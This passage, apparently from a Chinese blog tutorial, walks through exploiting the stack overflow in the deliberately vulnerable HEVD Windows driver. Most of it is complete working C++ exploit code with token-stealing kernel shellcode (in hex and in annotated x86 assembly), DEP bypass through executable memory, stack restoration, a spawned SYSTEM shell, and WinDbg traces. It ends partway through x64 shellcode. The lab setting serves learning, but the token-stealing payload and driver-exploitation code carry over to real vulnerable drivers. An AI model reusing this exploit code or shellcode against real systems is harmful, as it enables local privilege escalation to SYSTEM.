h4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9";
if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}
编译执行，崩溃
从网上找到了一段p`ython`利用的提权`shellcode`
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
转化为`c++`可用
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
};
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &ulShellcode;
PVOID *ppShellcode = &pShellcode;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
} while (0);
}
中间忘了栈上存在`DEP`的问题，从而没有开辟空间直接执行，`DEP`导致执行失败，可以验证一下试试，在函数`return`前设置断点`bp
HEVD+0x4527e`
没有执行权限，发生了异常。
使用`VirtualAlloc`重新分配可执行内存
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
};
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
重启继续
可以发现，再次出错了，出错的原因在于执行完我们的`shellcode`之后，我们没有对环境进行复原
那么我们来分析一下如何复原现在这个环境，这个得仔细思考，没有想象中的那么想当然，我们最好从原理上搞懂，为什么这么做。首先分析一下，如果栈没有溢出，正常执行完`popad`，我们应该执行的指令
PAGE:933F6263 add esp, 10h
PAGE:933F6266
PAGE:933F6266 loc_933F6266: ; CODE XREF: TriggerBufferOverflowStack+9B↑j
PAGE:933F6266 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:933F626D mov eax, edi
PAGE:933F626F mov ecx, [ebp+ms_exc.registration.Next]
PAGE:933F6272 mov large fs:0, ecx
PAGE:933F6279 pop ecx
PAGE:933F627A pop edi
PAGE:933F627B pop esi
PAGE:933F627C pop ebx
PAGE:933F627D leave
PAGE:933F627E retn 8 ; 这里跳转到shellcode
PAGE:933F627E TriggerBufferOverflowStack endp
`shellcode`执行完后，正常应该跳出`TriggerBufferOverflowStack`，回到`BufferOverflowStackIoctlHandler`函数
PAGE:933F617E BufferOverflowStackIoctlHandler proc near
PAGE:933F617E ; CODE XREF: IrpDeviceIoCtlHandler+51↑p
PAGE:933F617E
PAGE:933F617E arg_4 = dword ptr 0Ch
PAGE:933F617E
PAGE:933F617E push ebp
PAGE:933F617F mov ebp, esp
PAGE:933F6181 mov eax, [ebp+arg_4]
PAGE:933F6184 mov ecx, 0C0000001h
PAGE:933F6189 mov edx, [eax+10h]
PAGE:933F618C mov eax, [eax+8]
PAGE:933F618F test edx, edx
PAGE:933F6191 jz short loc_933F619C
PAGE:933F6193 push eax ; MaxCount
PAGE:933F6194 push edx ; Address
PAGE:933F6195 call TriggerBufferOverflowStack
PAGE:933F619A mov ecx, eax ; shellcode 执行完，应该从这里开始执行
PAGE:933F619C
PAGE:933F619C loc_933F619C: ; CODE XREF: BufferOverflowStackIoctlHandler+13↑j
PAGE:933F619C mov eax, ecx
PAGE:933F619E pop ebp
PAGE:933F619F retn 8
PAGE:933F619F BufferOverflowStackIoctlHandler endp
看一下汇编指令
mov ecx, eax
mov eax, ecx
pop ebp
retn 8
可以发现`eax`是作为返回值使用的，成功执行`eax`应该是`0`，所以简化指令
xor eax, eax
pop ebp
ret 8
讲汇编指令转化为二进制数据
将环境复原指令添加到`shellcode`中
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
0xc25dc031,
0x8};
在上次那个断点断下，并逐步调试
继续，成功跳出
继续
提权成功
完整提权代码
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);
void exp()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
/*
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp [eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
popad
xor eax, eax ; restore environment
pop ebp
ret 8
*/
ULONG ulShellcode[] = {
0x64c03160,
0x0124808b,
0x408b0000,
0xbac18950,
0x4,
0x00b8808b,
0xb82d0000,
0x39000000,
0x0000b490,
0x8bed7500,
0x0000f890,
0xf8918900,
0x61000000,
0xc25dc031,
0x8
};
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2080 + 4;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2080, 0x41);
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
int main()
{
exp();
return 0;
}
### 一个有意思的问题
在做上面的实验时，遇到了一个比较隐蔽的问题，调试了很久，最终才发现原因，在这里也跟大家讨论讨论，避免大家以后遇到这个问题，不知道是为什么
如果`exp`的代码这么写
void exp()
{
...
do
{
...
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
// system("cmd.exe"); // 注释掉这一行代码
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
...
注释掉之后，我们通过`cmd.exe`启动另一个`cmd.exe`，新启动的`cmd.exe`会是`system`权限吗？
编译执行，为了不掺杂别的影响，我们把系统重启一下，看看结果
可以发现，无论是原先的`cmd.exe`还是新启动的`cmd.exe`，权限都没有提升成功。这个问题困扰了我大概两个晚上的下班时间，期间找了各种资料，以为`shellcode`出问题了，我在`shellcode`下断点，一步一步执行，怎么想都是成功的改变了`cmd.exe`的`token`数据，为什么会失败呢？
失败的地方就在这里，我以为我该成功了，但事实是没有成功，来通过`windbg`看一下，首先关闭新启动的`cmd.exe`，只保留我以为我成功改变`token`的`cmd`
列一下进程
kd> !dml_proc
Address PID Image file name
869eb920 4 System
87dfea68 104 smss.exe
883e4400 158 csrss.exe
88a6a108 18c wininit.exe
88415030 198 csrss.exe
88475d40 1d4 winlogon.exe
8baeac48 204 services.exe
885b9030 20c lsass.exe
885c5030 214 lsm.exe
88646378 27c svchost.exe
8858ad40 2c0 svchost.exe
8866aab0 2f4 svchost.exe
8867fd40 33c svchost.exe
96bff478 3ac svchost.exe
886ea030 428 svchost.exe
88701a60 470 svchost.exe
8875bd40 4f4 spoolsv.exe
887446a8 520 svchost.exe
887838c8 570 taskhost.exe
8879ac40 5b8 dwm.exe
887a2448 5d4 explorer.exe
887f8408 660 vm3dservice.ex
887fa6f0 668 vmtoolsd.exe
887d2d40 6b0 VGAuthService.
8892db18 6ec vmtoolsd.exe
889a2338 414 WmiPrvSE.exe
88a04030 648 dllhost.exe
8747e030 604 msdtc.exe
887d8030 820 SearchIndexer.
88af13b0 8ac wmpnetwk.exe
88afb8f0 8f4 svchost.exe
873e1920 a58 WmiPrvSE.exe
87e77030 be4 OSRLOADER.exe
99bfc158 bfc cmd.exe
98332d40 c04 conhost.exe
88a0e030 e50 sppsvc.exe
955ff300 e74 svchost.exe
查看一下`system`进程及其`token`信息
kd> dt _EPROCESS 869eb920 ; system process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0x8d401b60 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 869eb920+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x8d4012c6 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x8d4012c6
kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90
+0x030 TokenLock : 0x86946490 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 0
+0x078 UserAndGroupCount : 5
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x70
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 1
+0x090 UserAndGroups : 0x8d40149c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x8d401258 Void
+0x09c DynamicPart : 0x8d401258 -> 0x101
+0x0a0 DefaultDacl : 0x8d401264 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2000
+0x0b0 TokenInUse : 0 ''
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 1
+0x0bc LogonSession : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0x8d4014c4
查看一下`cmd`进程及其`token`信息
kd> dt _EPROCESS 99bfc158 ; cmd.exe process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0x83205a70 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0x3549e
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 99bfc158+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0xa83f1535 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0xa83f1535
kd> dt _TOKEN 0xa83f1530
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x030 TokenLock : 0x99bfef60 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 1
+0x078 UserAndGroupCount : 0xd
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x198
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 0
+0x090 UserAndGroups : 0xa83f170c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x9cf3c318 Void
+0x09c DynamicPart : 0x9cf3c318 -> 0x501
+0x0a0 DefaultDacl : 0x9cf3c334 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2a00
+0x0b0 TokenInUse : 0x1 ''
+0x0b4 IntegrityLevelIndex : 0xc
+0x0b8 MandatoryPolicy : 3
+0x0bc LogonSession : 0x9f3b14c0 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x9aac6f50 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0xa83f1774
可以发现，我并没有成功替换`cmd`的`token`，但是汇编代码明明完成了`token`替换，为啥没有成功呢，难道真的是`shellcode`的问题吗？
这次下一个断点，一步一步调试`shellcode`
调试到这里，正常我们已经成功替换了`token`，按照上面的步骤再看一下`cmd`的`token`情况，可以发现依然没有提权成功。没有提权成功的原因是因为我们忽视了一个隐含进程`BufferOverflowStack.exe`，来看一下这个进程的信息
kd> dt _EPROCESS 886e7030 ; BufferOverflowStack.exe process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0xa936fba0 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0x340f7
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 886e7030+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x8d4012c5 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8d4012c5
kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90
+0x030 TokenLock : 0x86946490 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 0
+0x078 UserAndGroupCount : 5
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x70
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 1
+0x090 UserAndGroups : 0x8d40149c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x8d401258 Void
+0x09c DynamicPart : 0x8d401258 -> 0x101
+0x0a0 DefaultDacl : 0x8d401264 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2000
+0x0b0 TokenInUse : 0x1 ''
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 1
+0x0bc LogonSession : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0x8d4014c4
kd> !token 0x8d4012c0
_TOKEN 0xffffffff8d4012c0
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
对比一下`system`的token，可以发现，成功替换了。
至此，终于可以解释为什么`cmd.exe`没有提权成功了，因为我们提权的是`BufferOverflowStack.exe`进程，老的`cmd.exe`不是`BufferOverflowStack.exe`启动，所以它不继承`BufferOverflowStack.exe`的`system`权限，只有`BufferOverflowStack.exe`拉起来的进程才具有真正的`system`权限。如果你的新`cmd.exe`不是`BufferOverflowStack.exe`拉起来的，那必然也就会产生我上面的困扰，而且特别不容易发现其中的原因
## x64
在栈溢出上，`64`位和`32`位差别不大，首先通过`poc`确定栈溢出的长度，之后利用适用于`64`位的`exp`即可
添加注释版本`shellcode`
; Start of Token Stealing Stub
xor rax, rax ; get ZERO
mov rax, QWORD PTR gs:[rax + 0x188] ; get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax + 0x70] ; get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov rdx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 0x188] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 0x188
cmp [rax + 0x180], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
mov [rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
去除注释版本，方便转化
xor rax, rax
mov rax, QWORD PTR gs:[rax + 0x188]
mov rax, [rax + 0x70]
mov rcx, rax
mov rdx, 4
